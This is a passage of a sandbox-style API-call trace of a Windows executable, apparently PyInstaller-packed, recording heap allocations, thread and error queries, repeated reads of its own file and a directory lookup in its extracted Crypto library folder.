(hObject=0x300) returned 1 [0076.323] GetLastError () returned 0x0 [0076.323] GetCurrentThreadId () returned 0x9b0 [0076.323] GetLastError () returned 0x0 [0076.323] GetLastError () returned 0x0 [0076.323] GetCurrentThreadId () returned 0x9b0 [0076.323] GetLastError () returned 0x0 [0076.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3620400 | out: hHeap=0x2ad0000) returned 1 [0076.323] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e7e30, Size=0x3215) returned 0x33e7e30 [0076.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3665520 | out: hHeap=0x2ad0000) returned 1 [0076.323] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85520 [0076.323] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85520, Size=0x20) returned 0x30284e0 [0076.323] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a19250 [0076.323] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7b6) returned 0x3665520 [0076.323] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19428 [0076.324] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac0f00 [0076.324] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f00, Size=0xb8) returned 0x325fa70 [0076.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x311) returned 0x3461718 [0076.324] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325fa70, Size=0xe8) returned 0x33d1470 [0076.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23d) returned 0x2a8dbd0 [0076.324] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1470, Size=0x120) returned 0x2c374c0 [0076.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x271) returned 0x33d7698 [0076.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x465) returned 0x3665ce0 [0076.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x342) returned 0x3666150 [0076.324] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x33e7650 [0076.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e7650 | out: hHeap=0x2ad0000) returned 1 [0076.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e7e30 | out: hHeap=0x2ad0000) returned 1 [0076.324] GetCurrentThreadId () returned 0x9b0 [0076.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34afee0 [0076.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de728 [0076.324] GetCurrentThreadId () returned 0x9b0 [0076.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.325] GetCurrentThreadId () returned 0x9b0 [0076.325] GetCurrentThreadId () returned 0x9b0 [0076.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0076.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0076.325] GetCurrentThreadId () returned 0x9b0 [0076.325] GetCurrentThreadId () returned 0x9b0 [0076.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0076.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0076.325] GetCurrentThreadId () returned 0x9b0 [0076.325] GetCurrentThreadId () returned 0x9b0 [0076.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0076.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0076.325] GetCurrentThreadId () returned 0x9b0 [0076.325] GetCurrentThreadId () returned 0x9b0 [0076.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0076.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0076.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.325] GetCurrentThreadId () returned 0x9b0 [0076.326] GetCurrentThreadId () returned 0x9b0 [0076.326] GetCurrentThreadId () returned 0x9b0 [0076.326] GetCurrentThreadId () returned 0x9b0 [0076.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.326] GetCurrentThreadId () returned 0x9b0 [0076.326] GetCurrentThreadId () returned 0x9b0 [0076.326] GetLastError () returned 0x0 [0076.326] GetLastError () returned 0x0 [0076.326] GetLastError () returned 0x0 [0076.326] GetLastError () returned 0x0 [0076.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85388 | out: hHeap=0x2ad0000) returned 1 [0076.326] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de738 [0076.326] GetLastError () returned 0x0 [0076.326] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.326] GetFileType (hFile=0x300) returned 0x1 [0076.326] GetLastError () returned 0x0 [0076.327] GetCurrentThreadId () returned 0x9b0 [0076.327] GetLastError () returned 0x0 [0076.327] GetFileType (hFile=0x300) returned 0x1 [0076.327] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0076.327] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.327] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.327] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.327] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.327] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.327] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.327] GetLastError () returned 0x0 [0076.327] GetCurrentThreadId () returned 0x9b0 [0076.327] GetLastError () returned 0x0 [0076.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0076.327] GetLastError () returned 0x0 [0076.327] GetLastError () returned 0x0 [0076.327] GetCurrentThreadId () returned 0x9b0 [0076.328] GetLastError () returned 0x0 [0076.328] GetCurrentThreadId () returned 0x9b0 [0076.328] GetCurrentThreadId () returned 0x9b0 [0076.328] GetLastError () returned 0x0 [0076.328] GetLastError () returned 0x0 [0076.328] GetCurrentThreadId () returned 0x9b0 [0076.328] GetLastError () returned 0x0 [0076.328] GetCurrentThreadId () returned 0x9b0 [0076.328] GetLastError () returned 0x0 [0076.328] GetLastError () returned 0x0 [0076.328] GetCurrentThreadId () returned 0x9b0 [0076.328] GetLastError () returned 0x0 [0076.328] GetCurrentThreadId () returned 0x9b0 [0076.328] GetLastError () returned 0x0 [0076.328] GetLastError () returned 0x0 [0076.328] GetCurrentThreadId () returned 0x9b0 [0076.329] GetLastError () returned 0x0 [0076.329] GetLastError () returned 0x0 [0076.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.329] CloseHandle (hObject=0x300) returned 1 [0076.329] GetLastError () returned 0x0 [0076.329] GetCurrentThreadId () returned 0x9b0 [0076.329] GetLastError () returned 0x0 [0076.329] GetLastError () returned 0x0 [0076.329] GetCurrentThreadId () returned 0x9b0 [0076.329] GetLastError () returned 0x0 [0076.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3620400 | out: hHeap=0x2ad0000) returned 1 [0076.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e7e30, Size=0xbf) returned 0x33e7e30 [0076.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85448 [0076.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85448, Size=0x20) returned 0x3028328 [0076.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0076.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e7e30 | out: hHeap=0x2ad0000) returned 1 [0076.330] GetCurrentThreadId () returned 0x9b0 [0076.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x120) returned 0x2c37020 [0076.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37020 | out: hHeap=0x2ad0000) returned 1 [0076.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de738 [0076.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b1450 [0076.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.330] GetCurrentThreadId () returned 0x9b0 [0076.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0076.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0076.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.330] GetCurrentThreadId () returned 0x9b0 [0076.330] GetCurrentThreadId () returned 0x9b0 [0076.330] GetCurrentThreadId () returned 0x9b0 [0076.330] GetCurrentThreadId () returned 0x9b0 [0076.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.330] GetCurrentThreadId () returned 0x9b0 [0076.330] GetCurrentThreadId () returned 0x9b0 [0076.330] GetCurrentThreadId () returned 0x9b0 [0076.331] GetLastError () returned 0x0 [0076.331] GetLastError () returned 0x0 [0076.331] GetLastError () returned 0x0 [0076.331] GetLastError () returned 0x0 [0076.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85550 | out: hHeap=0x2ad0000) returned 1 [0076.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de778 [0076.331] GetLastError () returned 0x0 [0076.331] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.331] GetFileType (hFile=0x300) returned 0x1 [0076.331] GetLastError () returned 0x0 [0076.331] GetCurrentThreadId () returned 0x9b0 [0076.331] GetLastError () returned 0x0 [0076.331] GetFileType (hFile=0x300) returned 0x1 [0076.331] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0076.331] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.332] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.332] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.332] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.332] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.332] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.332] GetLastError () returned 0x0 [0076.332] GetCurrentThreadId () returned 0x9b0 [0076.332] GetLastError () returned 0x0 [0076.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0076.332] GetLastError () returned 0x0 [0076.332] GetLastError () returned 0x0 [0076.332] GetCurrentThreadId () returned 0x9b0 [0076.332] GetLastError () returned 0x0 [0076.332] GetCurrentThreadId () returned 0x9b0 [0076.332] GetLastError () returned 0x0 [0076.332] GetLastError () returned 0x0 [0076.333] GetCurrentThreadId () returned 0x9b0 [0076.333] GetLastError () returned 0x0 [0076.333] GetCurrentThreadId () returned 0x9b0 [0076.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x16cb) returned 0x36664a0 [0076.333] GetLastError () returned 0x0 [0076.333] GetLastError () returned 0x0 [0076.333] GetCurrentThreadId () returned 0x9b0 [0076.333] GetLastError () returned 0x0 [0076.333] GetCurrentThreadId () returned 0x9b0 [0076.333] GetLastError () returned 0x0 [0076.333] GetLastError () returned 0x0 [0076.333] GetCurrentThreadId () returned 0x9b0 [0076.333] GetLastError () returned 0x0 [0076.333] GetLastError () returned 0x0 [0076.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.333] CloseHandle (hObject=0x300) returned 1 [0076.334] GetLastError () returned 0x0 [0076.334] GetCurrentThreadId () returned 0x9b0 [0076.334] GetLastError () returned 0x0 [0076.334] GetLastError () returned 0x0 [0076.334] GetCurrentThreadId () returned 0x9b0 [0076.334] GetLastError () returned 0x0 [0076.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3620400 | out: hHeap=0x2ad0000) returned 1 [0076.334] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e7e30, Size=0x3923) returned 0x33e7e30 [0076.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36664a0 | out: hHeap=0x2ad0000) returned 1 [0076.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c852f8 [0076.334] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c852f8, Size=0x20) returned 0x30284e0 [0076.334] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a19250 [0076.334] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19578 [0076.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4d8) returned 0x325d878 [0076.334] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ac10c8 [0076.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x52a) returned 0x36664a0 [0076.335] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac10c8, Size=0xb8) returned 0x325f830 [0076.335] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f830, Size=0xe8) returned 0x33d1650 [0076.335] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1650, Size=0x120) returned 0x2c374c0 [0076.335] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x33e7a88 [0076.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5b5) returned 0x36669d8 [0076.335] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e7a88, Size=0x1a8) returned 0x3028af0 [0076.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6da) returned 0x3666f98 [0076.335] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028af0, Size=0x1f8) returned 0x2c30fc8 [0076.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c30fc8 | out: hHeap=0x2ad0000) returned 1 [0076.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e7e30 | out: hHeap=0x2ad0000) returned 1 [0076.335] GetCurrentThreadId () returned 0x9b0 [0076.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b0ca8 [0076.335] GetCurrentThreadId () returned 0x9b0 [0076.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0076.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0076.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.336] GetCurrentThreadId () returned 0x9b0 [0076.336] GetCurrentThreadId () returned 0x9b0 [0076.336] GetCurrentThreadId () returned 0x9b0 [0076.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0076.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0076.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0076.336] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3263088, Size=0x18) returned 0x3183b80 [0076.336] GetCurrentThreadId () returned 0x9b0 [0076.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b80 | out: hHeap=0x2ad0000) returned 1 [0076.336] GetCurrentThreadId () returned 0x9b0 [0076.336] GetCurrentThreadId () returned 0x9b0 [0076.336] GetLastError () returned 0x0 [0076.336] GetLastError () returned 0x0 [0076.336] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Protocol", lpFindFileData=0x9b9d68 | out: lpFindFileData=0x9b9d68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd7e20c4, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7e20c4, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd7e20c4, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bef987, dwReserved1=0x3bfd8, cFileName="Protocol", cAlternateFileName="")) returned 0x10556e0 [0076.336] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d7c, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0076.337] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0076.337] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d74, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0076.337] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0076.337] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d6c, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0076.337] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0076.337] FindClose (in: hFindFile=0x10556e0 | out: hFindFile=0x10556e0) returned 1 [0076.337] GetLastError () returned 0x0 [0076.337] GetCurrentThreadId () returned 0x9b0 [0076.337] GetCurrentThreadId () returned 0x9b0 [0076.337] GetCurrentThreadId () returned 0x9b0 [0076.337] GetCurrentThreadId () returned 0x9b0 [0076.337] GetCurrentThreadId () returned 0x9b0 [0076.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0076.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0076.337] GetCurrentThreadId () returned 0x9b0 [0076.337] GetCurrentThreadId () returned 0x9b0 [0076.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0076.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0076.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0076.338] GetCurrentThreadId () returned 0x9b0 [0076.338] GetCurrentThreadId () returned 0x9b0 [0076.338] GetCurrentThreadId () returned 0x9b0 [0076.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0076.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0076.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0076.338] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3263050, Size=0x18) returned 0x31838c0 [0076.338] GetCurrentThreadId () returned 0x9b0 [0076.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838c0 | out: hHeap=0x2ad0000) returned 1 [0076.338] GetCurrentThreadId () returned 0x9b0 [0076.338] GetCurrentThreadId () returned 0x9b0 [0076.338] GetCurrentThreadId () returned 0x9b0 [0076.338] GetCurrentThreadId () returned 0x9b0 [0076.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0076.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0076.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0076.338] GetCurrentThreadId () returned 0x9b0 [0076.338] GetCurrentThreadId () returned 0x9b0 [0076.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0076.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0076.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0076.339] GetCurrentThreadId () returned 0x9b0 [0076.339] GetCurrentThreadId () returned 0x9b0 [0076.339] GetCurrentThreadId () returned 0x9b0 [0076.339] GetCurrentThreadId () returned 0x9b0 [0076.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0076.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0076.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0076.339] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262e58, Size=0x18) returned 0x3183a20 [0076.339] GetCurrentThreadId () returned 0x9b0 [0076.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a20 | out: hHeap=0x2ad0000) returned 1 [0076.339] GetCurrentThreadId () returned 0x9b0 [0076.339] GetCurrentThreadId () returned 0x9b0 [0076.339] GetCurrentThreadId () returned 0x9b0 [0076.339] GetCurrentThreadId () returned 0x9b0 [0076.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0076.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0076.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0076.339] GetCurrentThreadId () returned 0x9b0 [0076.340] GetCurrentThreadId () returned 0x9b0 [0076.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0076.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0076.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0076.340] GetCurrentThreadId () returned 0x9b0 [0076.340] GetCurrentThreadId () returned 0x9b0 [0076.340] GetCurrentThreadId () returned 0x9b0 [0076.340] GetCurrentThreadId () returned 0x9b0 [0076.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0076.340] GetCurrentThreadId () returned 0x9b0 [0076.340] GetCurrentThreadId () returned 0x9b0 [0076.340] GetCurrentThreadId () returned 0x9b0 [0076.340] GetLastError () returned 0x0 [0076.340] GetLastError () returned 0x0 [0076.340] GetLastError () returned 0x0 [0076.340] GetLastError () returned 0x0 [0076.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c855b0 | out: hHeap=0x2ad0000) returned 1 [0076.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de778 [0076.340] GetLastError () returned 0x0 [0076.341] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.341] GetFileType (hFile=0x300) returned 0x1 [0076.341] GetLastError () returned 0x0 [0076.341] GetCurrentThreadId () returned 0x9b0 [0076.341] GetLastError () returned 0x0 [0076.341] GetFileType (hFile=0x300) returned 0x1 [0076.341] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0076.341] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0076.341] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0076.341] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0076.341] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0076.341] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0076.341] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 